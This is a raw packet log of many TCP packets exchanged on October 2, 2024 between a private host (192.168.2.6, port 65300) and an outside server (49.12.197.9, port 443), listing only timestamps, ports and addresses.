Oct 2, 2024 17:17:43.139422894 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.139437914 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.139467001 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.139484882 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.148473978 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.148523092 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.148575068 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.148587942 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:43.148616076 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:43.148634911 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.203751087 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.203769922 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.203844070 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.203881979 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.203921080 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.203941107 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.203973055 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204173088 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204194069 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204219103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204227924 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204256058 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204298019 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204597950 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204618931 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204652071 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204662085 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.204696894 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.204745054 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.209430933 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.209455967 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.209526062 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.209551096 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.209589958 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.210949898 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.210971117 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.211114883 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.211133003 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.211169958 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.212502956 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.212522984 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.212573051 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.212585926 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.212603092 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.212621927 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.213938951 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.213958979 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.213992119 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.214003086 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.214029074 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.214045048 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.216356993 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.216377020 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.216428995 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.216455936 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.216475964 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.216504097 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.217686892 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.217710018 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.217746019 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.217752934 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.217783928 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.217801094 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.219938040 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.219958067 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.220010996 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.220020056 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.220055103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.220055103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.221206903 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.221229076 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.221271038 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.221277952 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.221303940 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.221318007 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.222855091 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.222875118 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.222917080 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.222927094 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.222959995 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.222976923 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.223511934 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.223531961 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.223576069 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.223587036 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.223607063 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.223623991 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.224405050 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.224423885 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.224462032 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.224467993 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.224493027 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.224510908 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225070000 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225087881 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225122929 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225128889 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225157022 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225171089 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225634098 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225653887 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225686073 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225692034 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.225739002 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.225756884 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.226028919 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226047039 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226134062 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.226140022 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226186991 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.226722002 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226741076 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226772070 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.226783037 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.226799011 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.226819038 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228111029 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228131056 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228166103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228174925 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228195906 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228218079 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228615046 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228636026 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228665113 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228673935 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.228699923 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.228710890 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.229243040 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229262114 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229289055 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.229295969 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229317904 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.229334116 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.229670048 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229690075 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229717016 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.229722977 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.229794979 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.230482101 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230500937 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230530024 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.230536938 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230562925 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.230581045 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.230911016 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230930090 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230957031 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.230964899 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.230988979 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.231005907 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.231446028 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.231470108 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.231499910 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.231509924 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.231524944 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.231544018 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.231925011 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.231945038 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232024908 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232024908 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232038021 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232065916 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232141018 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232158899 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232187986 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232194901 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232228041 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232249022 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232498884 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232517004 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232544899 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232552052 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232578993 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232597113 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.232953072 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.232973099 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233001947 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233007908 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233036995 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233052015 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233217001 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233237028 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233262062 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233268023 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233292103 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233313084 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233638048 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233655930 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233696938 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233701944 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233727932 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233745098 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233918905 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233937025 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233958006 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.233963013 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.233994961 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.234010935 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.234261036 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.234299898 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.443399906 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.443469048 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473093033 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473102093 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473114967 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473167896 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473172903 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473181963 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473252058 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473258018 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473273993 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473280907 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473370075 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473376989 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473397970 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473416090 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473577976 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473589897 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473601103 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473618984 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473643064 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473643064 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473649025 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473715067 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473721981 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473797083 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473824978 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473831892 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473876953 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473905087 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473908901 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473946095 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473953009 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473973036 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473980904 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.473998070 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.473999977 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474014044 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474026918 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474061012 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474070072 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474090099 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474112988 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474117994 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474137068 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474145889 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474153042 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474159956 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474180937 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474184990 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474205971 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474210978 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474236965 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474255085 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474261045 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474273920 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474289894 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474303961 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474309921 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474333048 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474344969 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474347115 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474359035 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474380016 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474386930 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474419117 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474423885 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474436998 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474455118 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474456072 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474468946 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474482059 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474515915 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.474529028 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.474574089 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.485917091 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.485923052 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486013889 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.486588001 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.486589909 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486608982 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486632109 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486644983 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486783028 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.486788034 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486897945 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.486902952 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486927032 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486967087 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.486972094 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.486989975 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.487092018 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.487097025 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.487189054 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.487271070 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.487276077 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.487329006 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.492562056 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.492588043 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.492681026 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.499346972 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.508677959 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508743048 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508754969 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.508774996 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508802891 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.508820057 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.508902073 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508949041 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508960009 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.508975983 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.508987904 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509007931 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509020090 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509104967 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.509150982 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.509160042 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509174109 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.509187937 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509202957 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.509217024 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.562793970 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.562844992 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.562866926 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.562880039 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.562906027 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.562923908 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563034058 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563074112 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563102961 CEST	65300	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:44.563110113 CEST	443	65300	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:44.563119888 CEST	65300	443	192.168.2.6	49.12.197.9
